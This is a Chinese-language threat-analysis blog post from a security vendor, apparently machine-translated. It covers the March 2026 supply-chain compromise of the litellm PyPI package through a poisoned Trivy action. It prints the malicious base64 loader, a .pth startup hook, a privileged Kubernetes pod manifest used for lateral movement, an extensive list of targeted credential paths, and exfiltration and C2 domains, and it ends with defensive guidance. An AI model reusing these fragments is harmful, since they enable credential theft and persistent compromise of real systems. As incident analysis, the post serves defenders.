为什么重要意义
2026年3月24日,流行的Python包 litellm一个被数千家公司使用的通用LLM代理网关 enterprise用于在应用程序和 OpenAI、Anthropic、Google 和 AWS Bedrock 等 AI 提供商之间路由流量的 PyPI 库在 PyPI 上遭到悄然入侵。两个被篡改的版本(1.82.7 和 1.82.8)在 13 分钟内相继发布,携带多阶段攻击载荷,窃取凭证、泄露云端密钥、在 Kubernetes 集群间横向传播,并安装具有远程代码执行功能的持久后门。
约 每天3.6亿次下载 litellm 在云原生 AI 基础设施中深度部署,它处于现代攻击者梦寐以求的一切的交汇点:每个主要 AI 提供商的 API 密钥、云 IAM 凭证、Kubernetes 密钥和 SSH 密钥。
但利特尔姆妥协案并非孤立事件,而是一系列事件的最终结果。 为期五天、涵盖五个生态系统的活动 由名为 TeamPCP这场行动首先在安全扫描仪(Aqua Trivy、Checkmarx KICS)中投毒,然后利用窃取的恶意软件进行攻击。 CI/CD 攻击者利用凭据向下游传递,最终影响到 npm、OpenVSX 和 PyPI。他们竟然将企业赖以保护供应链的工具武器化了。
此次攻击标志着供应链威胁复杂性的一次重大转变。攻击者采用多跳、跨生态系统的设计,并利用安全工具的漏洞,以达到高价值攻击的目的。 人工智能基础设施 这体现了与日益商品化的攻击工具相符的规划和操作成熟度。有效载荷实时迭代(源代码中出现了三个有效载荷变体,包括被注释掉的早期版本),C2 基础设施在攻击前一天注册,并且精心选择数据泄露域以模仿合法供应商的基础设施。系统全面的凭证收集器涵盖 15 个以上的类别,包括 Cardano 签名密钥和 WireGuard 配置等小众目标,表明其处理能力之强,预示着人工智能辅助恶意软件开发将起到倍增器的作用。
时间线
| 日期(UTC) | 创建 |
|---|---|
| 19 年 3 月 | TeamPCP 入侵 Aqua Trivy GitHub Action 标签,将其替换为恶意代码以窃取数据。 CI/CD 来自下游存储库的秘密 |
| 21 年 3 月 | 妥协方案也适用于使用类似技术的 Checkmarx KICS 和 AST GitHub Actions。 |
| 3月22日,06:35 | BerriAI 通过正常发布 litellm 1.82.6(最新干净版本) CI/CD pipeline 使用 Trivy 进行安全扫描 |
| 23 年 3 月 | TeamPCP 注册了 models.litellm.cloud(数据泄露域)。导致 66 个以上的 npm 包和 OpenVSX 扩展程序泄露。 |
| 3月24日,10:39 | litellm 1.82.7 已发布到 PyPI -- 有效载荷已注入 proxy_server.py 在模块作用域内执行。导入时执行。 |
| 3月24日,10:52 | litellm 1.82.8 于 13 分钟后发布 -- 添加 litellm_init.pth这是一个 Python 路径配置钩子,它会在每次 Python 解释器启动时执行,而不仅仅是在 litellm 导入时执行。它展示了快速的有效载荷迭代。 |
| 3月24日,约16:00 | PyPI 在收到社区报告后会移除这两个版本。版本会从索引中完全删除(而非撤回),但 CDN 压缩包仍然可以访问。 |
暴露时间窗口:约 5.5 小时。 在此期间,任何
pip install litellm,
pip install --upgrade litellm, 或者 CI/CD pipeline 拉取最新版本会执行有效载荷。
恶意软件是如何入侵的:级联式入侵
litellm软件包并未直接被攻破。攻击者是通过某种方式访问它的。 两跳供应链攻击:
Aqua Trivy GitHub Action (compromised March 19)
--> LiteLLM CI/CD pipeline runs Trivy without pinned version
--> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
--> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI
LiteLLM的 CI/CD pipeline 我用 Trivy 作为安全扫描器——而这款旨在发现漏洞的工具本身却成了攻击媒介。因为 pipeline 通过可变标签而非固定标签引用 Trivy commit SHA,被入侵的操作自动运行。恶意 Trivy 操作窃取了环境密钥,包括: PYPI_PUBLISH 令牌,使 TeamPCP 能够直接发布 litellm PyPI 项目。
这种“攻破安保系统”的策略是TeamPCP攻击活动的标志性特征。攻击者首先攻击安全工具(例如Trivy和Checkmarx KICS),从而同时禁用检测功能并获得对下游供应链的特权访问权限。
技术分析:有效载荷
注射点
版本 1.82.7 — 模块级执行 litellm/proxy/proxy_server.py (第128行):
import subprocess, base64, sys, tempfile, os
b64_payload = "<~12KB base64 blob>"
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "p.py")
with open(p, "wb") as f:
f.write(base64.b64decode(b64_payload))
subprocess.run([sys.executable, p])
这段代码位于模块作用域内,介于字典字面量和原始数据之间。 showwarning() 函数。它会在以下情况下立即执行: litellm.proxy.proxy_server 已导入——这在使用 litellm 的代理功能时会发生。
版本 1.82.8 - 添加 litellm_init.pth (Python 路径配置文件):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)
Python
.pth 在文件 site-packages/ 每次解释器启动时都会处理,但只有以……开头的行才会被处理。 import 它们以代码的形式执行。攻击者利用这一点,将整个有效载荷链接到单个有效载荷上。 import 声明: import os, subprocess, sys; subprocess.Popen(...)这比 proxy_server.py 注入要激进得多——即使从未导入 litellm,它也会在每个 Python 进程启动时触发。 pyproject.toml 已修改,将此文件包含在分发包中:
include = [
{ path = "litellm_init.pth", format = ["sdist", "wheel"] }
]
| 类别 | 目标 |
|---|---|
| 系统侦察 | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH的 | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config;主机密钥来自 /etc/ssh/ |
| 云(AWS) | ~/.aws/credentials, ~/.aws/config;通过 IMDS 角色凭据 169.254.169.254秘密管理器 ListSecrets;SSM DescribeParameters |
| 云平台(GCP) | ~/.config/gcloud/ (递归) $GOOGLE_APPLICATION_CREDENTIALS |
| 云(Azure) | ~/.azure/ (递归);环境变量 |
| Kubernetes | 服务帐户令牌; ca.crt命名空间; kubectl get secrets --all-namespaces;所有密钥均通过 Kubernetes API 获取 |
| 环境文件 | .env, .env.local, .env.production, .env.development, .env.staging — 递归搜索(深度 6) /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| 包裹令牌 | ~/.npmrc, ~/.vault-token, ~/.netrc |
| 数据库 | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.confMongoDB 配置 |
| TLS / SSL | 来自私钥 /etc/ssl/private/所有 Let's Encrypt 证书 .pem/.key/.p12/.pfx 档 |
| 混帐 | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| 加密钱包 | 比特币、以太坊密钥库、Solana 密钥对(验证者、投票者、质押者、水龙头)、Cardano 签名密钥、莱特币、狗狗币、Zcash、达世币、瑞波币、门罗币 |
| 壳牌历史 | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| 系统认证 | /etc/passwd, /etc/shadow身份验证日志(已接受的 SSH 会话) |
| Webhook/API密钥 | 搜索 Slack 网页hooksDiscord 网页版hooks配置文件中的 API 密钥/密钥 |
| VPN | 来自 WireGuard 的配置 /etc/wireguard/ |
这款数据采集器的功能非常全面。它不仅针对云端凭证,还针对加密货币钱包、数据库密码、VPN配置等。 CI/CD 秘密——表明攻击者打算通过多种途径将受感染的系统货币化。
第 2 阶段:加密渗漏
被盗数据采用混合加密方案进行加密和泄露:
- AES-256-CBC 使用随机生成的 32 字节会话密钥对所有收集的数据进行加密(通过
openssl enc) - RSA-4096 使用攻击者嵌入的公钥对会话密钥进行加密(OAEP 填充,通过
openssl pkeyutl) - 两个密文文件捆绑在一起
tpcp.tar.gz(tpcp前缀“TeamPCP”在整个活动中始终出现) - HTTPS POST 请求
https://models.litellm.cloud/-Content-Type: application/octet-stream
域 models.litellm.cloud 该网站于3月23日注册——也就是攻击发生的前一天——其设计目的是与合法的Litellm基础设施(真正的项目使用)相融合。 litellm.ai即使是了解网络的防御者,在审查出口流量时,也可能不会将看似是 litellm 自身模型端点的流量标记出来。
第三阶段:持久后门(sysmon.py)
该有效载荷会安装一个伪装成系统遥测数据的轮询后门:
- 途径:
~/.config/sysmon/sysmon.py - 服务:
sysmon.service(systemd 用户单元,描述为“系统遥测服务”) - 宠物行为研究 经过最初的 300 秒睡眠后,轮询
https://checkmarx.zone/raw大约每 50 分钟 - 执行下载C2服务器返回的URL
/tmp/pglog,使其可执行(chmod 755),在分离会话中运行它 - 状态跟踪:
/tmp/.pg_state防止重复下载相同的有效载荷。 - 坚持:
Restart=always,RestartSec=10— 能够经受住崩溃和重启
域 checkmarx.zone 是 Checkmarx(一家安全公司)的拼写错误缩写。 checkmarx.com这种设计旨在让审查网络日志的 SOC 分析师看到看似来自合法安全厂商的流量。这是一种蓄意规避策略,与 TeamPCP 更广泛的战略一致,即利用安全厂商的品牌来掩盖其真实意图。
阶段 3b:Kubernetes 横向移动
如果受感染的系统拥有 Kubernetes 服务帐户凭据,恶意软件会枚举所有集群节点并进行部署。 特权 pod 致每一位:
pod_manifest = {
'apiVersion': 'v1', 'kind': 'Pod',
'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
'spec': {
'nodeName': node_name,
'hostPID': True, 'hostNetwork': True,
'tolerations': [{'operator': 'Exists'}],
'containers': [{
'name': 'setup',
'image': 'alpine:latest',
'command': ['sh', '-c', drop_cmd],
'securityContext': {'privileged': True},
'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
}],
'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
'restartPolicy': 'Never'
}
}
每个舱体:
- 运行方式 特权 -
hostPID,hostNetwork以及对主机文件系统的完全访问 - 使用
chroot /host安装相同sysmon.py主机根文件系统上的后门 - 将其注册为 systemd 服务,确保在 pod 删除后仍能持久存在。
- 命名
node-setup-*,在kube-system命名空间要看起来像是合法的集群基础架构
这意味着 单一妥协 CI/CD 拥有 Kubernetes 访问权限的运行程序可能会导致集群中的每个节点都被植入后门。 — 对于在 Kubernetes 中以 litellm 作为代理运行的组织而言,这是一个灾难性的横向移动场景。
有效载荷演化(已注释的变体)
源代码第 131-132 行包含两个被注释掉的早期有效载荷变体,揭示了攻击者的开发过程:
- 所有三种变体 共享同一外泄基础设施(
models.litellm.cloud),RSA-4096 公钥,AES-256-CBC + RSA 混合加密封装,以及tpcp.tar.gz软件包命名 - 早期版本 添加了 RC4 加密层 在数据采集脚本内部,对采集到的数据进行加密,然后再应用外部的 AES+RSA 封装层。通过移除内部的 RC4 层,简化了有效载荷(第 130 行)。
- 早期版本使用
exec()-StringIO捕获以在进程内运行收集器,同时活动有效载荷使用subprocess.run()使用 stdout 重定向——一种更清晰的分离方式,避免污染宿主进程。 - 这三种变体都针对相同的凭证类别和收集路径。
- 早期版本中的 RC4 密钥是一种挑衅性的侮辱性词语,这与该演员在 Telegram 上寻求关注的行为一致。
这表明攻击者在行动过程中进行了积极的改进。他们简化了加密协议栈,提高了执行隔离性,同时保持了数据收集目标和数据泄露基础设施的稳定性。
妥协指标(IOC)
网络
| 指示符 | 类型 | 目的 |
|---|---|---|
models.litellm.cloud |
域名 | 渗漏端点(HTTPS POST) |
checkmarx.zone |
域名 | C2 轮询端点(HTTPS GET) /raw) |
注:外部报告链接 checkmarx.zone/static/checkmarx-util-1.0.4.tgz 该URL指向TeamPCP活动早期KICS阶段。在本文分析的litellm有效载荷中未找到该URL。
包裹哈希
| 文件 | SHA256 |
|---|---|
litellm-1.82.7.tar.gz |
8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz |
d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
文件系统
| 指示符 | 类型 | 目的 |
|---|---|---|
~/.config/sysmon/sysmon.py |
文件 | 持久性后门脚本 |
~/.config/systemd/user/sysmon.service |
文件 | Systemd 持久单元 |
/tmp/pglog |
文件 | 已下载第二阶段二进制文件 |
/tmp/.pg_state |
文件 | C2状态跟踪 |
litellm_init.pth in site-packages/ |
文件 | Python 启动钩子(仅限 v1.82.8) |
tpcp.tar.gz |
文件 | 加密外泄包 |
Kubernetes
| 指示符 | 类型 | 目的 |
|---|---|---|
node-setup-* 豆荚 kube-system |
下 | 特权横向移动舱 |
sysmon.service 在集群节点上 |
服务 | 通过 Pod 逃逸实现主机级持久化 |
加密
| 指示符 | 信息 |
|---|---|
| 攻击者 RSA-4096 公钥 |
SHA256 指纹:
bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8嵌入在所有三种有效载荷变体中;在其他 TeamPCP 操作中也报告了相同的密钥
|
tpcp 工件中的前缀 |
捆绑包命名约定(tpcp.tar.gz在整个竞选过程中保持一致
|
归属:TeamPCP
此次攻击背后的威胁行为者已被追踪到为 TeamPCP又名 PCPcat、Persy_PCP、ShellForce 和 DeadCatx3。
已知特征:
- 维护 Telegram 频道
@Persy_PCP以及@teampcp他们在那里嘲讽安保公司 - 可在多个生态系统中运行(GitHub Actions、PyPI、npm、OpenVSX)
- 在营销活动的每个阶段使用供应商特定的域名抢注域名(例如,
checkmarx.zone对于 Checkmarx,models.litellm.cloud(供 litellm 使用) - 一致的基础设施标记:相同的RSA密钥对,
tpcp.tar.gz命名规则tpcp-docs-*GitHub 仓库用作死信箱暂存区 - 将安全工具作为进入下游供应链的入口。
归因置信度高。共享的RSA公钥, tpcp 五天行动中工件命名、C2 基础设施重叠和操作节奏都强烈表明,Trivy、KICS、npm、OpenVSX 和 litellm 的漏洞利用与同一攻击者有关。
激励卡片很可能是经济利益驱动(加密钱包被盗、云凭证变现)加上恶名昭彰(Telegram 嘲讽)。凭证窃取范围之广——从 AWS IAM 到 Solana 验证器密钥对再到 WireGuard 配置——表明攻击者以经济利益为驱动,力图从每次攻击中最大化收益。
可能的AI辅助该凭证采集器系统性地涵盖了 15 个以上的类别,包括 Cardano 签名密钥、WireGuard 配置和 Kaniko Docker 凭证等特定目标,并且其采集方式与 AI 辅助枚举相一致。有效载荷迭代速度(三种不同加密方案的变体)、跨生态系统协调(5 天内覆盖 5 个生态系统)以及运行安全措施(厂商仿冒域名、混合加密、伪装成遥测数据的 systemd 持久化)表明,其吞吐量水平可能体现了 AI 辅助开发带来的效率倍增效应。当然,这只是推测;熟练的操作人员即使不使用 AI 工具也能达到类似的规模。
新的战术、技术和方法
1. 安全工具供应链投毒(T1195.002 变体)
攻击者以攻破安全扫描器(例如 Trivy、KICS)为第一跳,进而攻击下游目标,这是一种新的攻击手段。攻击者不仅攻破了一个库,还攻破了组织用来执行安全操作的工具。 检测 库文件已被篡改。这就造成了一个盲点:本应捕获恶意代码的扫描器本身却成了恶意代码的传播机制。
2。 蟒蛇 .pth 文件持久化(T1546)
此 litellm_init.pth v1.82.8 版本中的技术尤其阴险。Python .pth 在文件 site-packages/ 每次解释器启动时都会进行处理;任何以……开头的行 import 以代码形式执行。通过将有效载荷链接到单个 import 根据该声明,攻击者可以对所有 Python 进程执行代码,而不仅仅是在导入 litellm 时。这意味着即使 litellm 已安装但从未使用,有效载荷仍然会执行,并且即使在修复程序替换了被入侵的 Python 进程后,它仍然有效。 .py 文件未进行检查 .pth 文件。
3. 通过特权 Pod 部署实现 Kubernetes 集群范围内的横向移动(T1610、T1611)
在每个集群节点上自动创建特权 Pod——通过 hostPID, hostNetwork主机文件系统挂载,以及 chroot 安装持久性——将容器部署(T1610)与逃逸到主机(T1611)相结合,将单个受损工作负载转化为整个集群受损。
4. 冒充供应商的C2基础设施
运用 models.litellm.cloud (模仿 litellm)和 checkmarx.zone (模仿 Checkmarx)作为 C2/数据泄露端点,其设计目的是为了规避网络监控。安全运营中心 (SOC) 分析师在审查出站流量时,会看到看似合法的供应商域名的 HTTPS 连接。
5. 快速飞行中有效载荷迭代
发布 v1.82.7 版本时会在导入时执行攻击,13 分钟后发布 v1.82.8 版本时会在启动时执行攻击,这表明攻击者在实时监控并调整攻击策略。源代码中保留的被注释掉的有效载荷变体(采用不同的加密方案)证实了攻击者在攻击期间一直在积极开发新版本。
有什么可以做
这种攻击利用了每一层的信任:对安全工具的信任、对软件包注册表的信任、对看似熟悉的域名的信任,以及对……的信任。 CI/CD 自动化。抵御自动化需要加强以下每一条信任边界:
面向包装消费者
- 通过哈希值锁定依赖项,而不仅仅是版本。
pip install litellm==1.82.6 --hash=sha256:...即使被篡改的版本短暂地以最新版本的形式出现,也能阻止其被安装。 - 使用锁定文件。
pip-compile,poetry.lock和uv.lock获取确切的版本号和哈希值。 CI/CD 应该从锁定文件安装,而不是从浮动版本说明符安装。 - 监控
.pth文件。 定期审核site-packages/对于意外的.pth文件——它们在每次 Python 启动时执行,是一种被低估的持久化机制。 - 实施出口网络控制。 撤离
models.litellm.cloud以及 C2 轮询checkmarx.zone在生产环境中,可以通过基于允许列表的出口过滤来捕获此类问题。
致软件包维护者
- 置顶 CI/CD 行动 commit SHA,不是标签。 LiteLLM的 pipeline 使用了 Trivy,但没有使用固定版本。如果它引用了
aquasecurity/trivy-action@<commit-sha>而不是@latest否则,被篡改的行动就不会执行。 - 使用有效期短、作用范围有限的发布令牌。 PyPI 支持可信发布者(基于 OIDC)和作用域 API 令牌。泄露的数据
PYPI_PUBLISH令牌不应该拥有长期、不受限制的发布权限。 - 在 PyPI 上启用双因素身份验证。 要求所有维护人员启用双因素身份验证,并尽可能使用硬件安全密钥。
- 签署包裹。 Sigstore/PEP 740 认证允许消费者验证软件包是否由预期制造商制造。 CI/CD pipeline并非由使用被盗令牌的攻击者所为。
适用于平台运营商(PyPI、npm、GitHub)
- 检测异常发布模式。 如果两个新版本在 13 分钟内发布,且来自与平时不同的 IP 地址或令牌,则在软件包可安装之前,应该会触发暂缓审核或自动扫描。
- 加速采用可信发布商。 基于 OIDC 的发布机制将软件包与特定的存储库和工作流程绑定,使得被盗的令牌在原始存储库之外毫无用处。 CI/CD 上下文。
- 实施发布时恶意软件扫描。 proxy_server.py 中的 base64 解码有效载荷在发布时可通过静态分析检测到。
为了生态系统
- 将安全工具视为关键基础设施。 Trivy 和 Checkmarx KICS 被数百万用户使用。 pipeline他们的 GitHub Actions 应该像他们扫描的软件包一样,进行签名、锁定和监控。
- 投资于运行时检测。 仅靠静态分析无法检测到所有混淆技术。运行时监控软件包安装过程至关重要。 hooks意外的网络连接和可疑的文件访问模式提供了纵深防御。
- 更快地共享威胁情报。 如果跨厂商协调速度更快,litellm 的 5.5 小时暴露窗口期本可以更短。Xygeni MEW、Socket 和 Snyk 等自动化扫描服务检测到了异常情况——瓶颈在于人工确认和注册机构的响应时间。
结语
TeamPCP运动是一个具有里程碑意义的时刻 software supply chain security攻击者首先攻破安全扫描器,并将其作为通往高价值人工智能基础设施的跳板,这表明供应链的强度取决于其最薄弱的传递依赖项,而这个依赖项可能就是你信任的、能够保护你安全的工具。
Litellm 漏洞尤其凸显了人工智能基础设施面临的日益增长的风险。随着 LLM 代理网关变得越来越重要, standard 模式 enterprise 在人工智能部署中,他们将API密钥、云凭证和敏感数据的访问权限集中在一个组件中。攻破该组件就等于获得了打开整个人工智能堆栈的万能钥匙。
在 5.5 小时窗口期内安装了 litellm 1.82.7 或 1.82.8 的组织应将此视为凭证完全泄露:轮换受影响系统上的所有密钥,并对 Kubernetes 集群进行审计。 node-setup-* 豆荚 kube-system删除任何 sysmon.service systemd 单元,并检查 litellm_init.pth 在 Python 中 site-packages/ 目录。官方 Docker 镜像的用户(ghcr.io/berriai/litellm由于图像固定了其依赖项,并且在曝光窗口期间没有重建,因此不受影响。
关于作者
联合创始人兼首席技术官
路易斯·罗德里格斯 他是 Xygeni Security 的联合创始人兼首席技术官。他在应用安全领域拥有 20 多年的经验,专注于应用安全防护和高级代码分析功能,帮助团队降低实际交付风险。




